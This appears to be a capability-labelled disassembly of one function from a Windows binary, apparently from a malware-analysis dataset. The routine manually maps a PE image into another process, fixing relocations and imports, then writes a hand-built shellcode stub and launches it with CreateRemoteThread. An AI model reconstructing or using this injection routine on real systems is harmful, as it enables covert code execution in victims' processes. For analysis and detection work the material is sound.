Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Inject pe
Inject thread
Rebuild import table
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp - 8], rax
movsxd rdi, dword [0x14000507c]
lea rsi, [0x140005040]
mov r15, rdx
mov qword [rbp - 0x40], rdx
lea r12, [rsi + 0x18]
mov dword [rsp + 0x20], 0x40
add r12, rdi
xor edx, edx
mov r9d, 0x3000
mov rcx, r15
mov r8d, dword [r12 + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, dword [r12 + 0x38]
xor ecx, ecx
mov r8d, 0x3000
mov r13, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test r13, r13
je 0x14000135a
test rax, rax
je 0x14000135a
mov rdx, r13
mov qword [rsp + 0xb0], rbx
lea rcx, str.___base_address:_0x_llx_n
call fcn.140001010
movzx ebx, word [rdi + rsi + 0x14]
movzx esi, word [rdi + rsi + 6]
add rbx, r12
xor edi, edi
test rsi, rsi
je 0x1400011a8
lea r15, [0x140005040]
nop word [rax + rax]
movups xmm1, xmmword [rbx + 0x10]
mov rcx, qword [rbx + 8]
movups xmm2, xmmword [rbx]
shr rcx, 0x20
movsd xmm0, qword [rbx + 0x20]
movq rdx, xmm1
shr rdx, 0x20
add rcx, r14
movd r8d, xmm1
add rdx, r15
movups xmmword [rbp - 0x38], xmm2
movups xmmword [rbp - 0x28], xmm1
movsd qword [rbp - 0x18], xmm0
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [rbp - 0x30]
lea rdx, [rbp - 0x38]
mov r9d, dword [rbp - 0x28]
lea rcx, str.___mapping_section:_t_s_taddr:_0x_lx_tsize:_0x_lx_n
shr r8, 0x20
call fcn.140001010
inc rdi
lea rbx, [rbx + 0x28]
cmp rdi, rsi
jl 0x140001140
mov r15, qword [rbp - 0x40]
xor edi, edi
mov r9d, dword [r12 + 0x98]
mov r8, rdi
add r9, r14
mov eax, dword [r9 + 4]
sub rax, 8
test rax, 0xfffffffffffffffe
jbe 0x140001213
mov r10d, 0xf000
mov r11d, 0xa000
movzx edx, word [r9 + r8*2 + 8]
movzx eax, dx
and ax, r10w
cmp ax, r11w
jne 0x140001200
mov ecx, dword [r9]
and edx, 0xfff
lea rax, [r14 + rdx]
add rcx, rax
mov rax, r13
sub rax, qword [r12 + 0x18]
add qword [rcx], rax
mov eax, dword [r9 + 4]
inc r8
sub rax, 8
shr rax, 1
cmp r8, rax
jb 0x1400011d2
cmp dword [r12 + 0x7c], 0
je 0x140001290
mov r15d, dword [r12 + 0x78]
add r15, r14
cmp dword [r15 + 0xc], 0
je 0x14000128c
nop word [rax + rax]
mov ecx, dword [r15 + 0xc]
add rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [r15]
mov rsi, rax
mov edi, dword [r15 + 0x10]
add rbx, r14
add rdi, r14
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000127f
js 0x140001260
lea rdx, [r14 + 2]
add rdx, rcx
jmp 0x140001263
movzx edx, cx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rbx, 8
mov qword [rdi], rax
add rdi, 8
mov rcx, qword [rbx]
test rcx, rcx
jne 0x140001255
add r15, 0x14
cmp dword [r15 + 0xc], 0
jne 0x140001230
xor edi, edi
mov r15, qword [rbp - 0x40]
mov r9d, dword [r12 + 0x38]
mov r8, r14
mov rdx, r13
mov qword [rsp + 0x20], rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [r12 + 0x10]
xor edx, edx
add rax, r13
mov dword [rbp - 0x38], 0x28ec8348
mov r9d, 0x3000
mov word [rbp - 0x34], 0xb948
mov rcx, r15
mov dword [rbp - 0x2a], 0x1c2c748
lea r8d, [rdx + 0x29]
mov dword [rbp - 0x26], 0x4d000000
mov dword [rbp - 0x22], 0xb848c031
mov dword [rbp - 0x16], 0x8348d0ff
mov word [rbp - 0x12], 0x28c4
mov byte [rbp - 0x10], 0xc3
mov qword [rbp - 0x32], r13
mov qword [rbp - 0x1e], rax
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x29
mov qword [rsp + 0x20], rdi
mov rdx, rax
lea r8, [rbp - 0x38]
mov rcx, r15
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rbp - 0x40]
mov dword [rbp - 0x40], edi
mov qword [rsp + 0x30], rax
mov r9, rbx
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov eax, dword [rbp - 0x40]
mov rbx, qword [rsp + 0xb0]
jmp 0x140001369
lea rcx, str.Error:_couldnt_allocate_remote_or_local_image.
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400014b0
lea r11, [rsp + 0x80]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret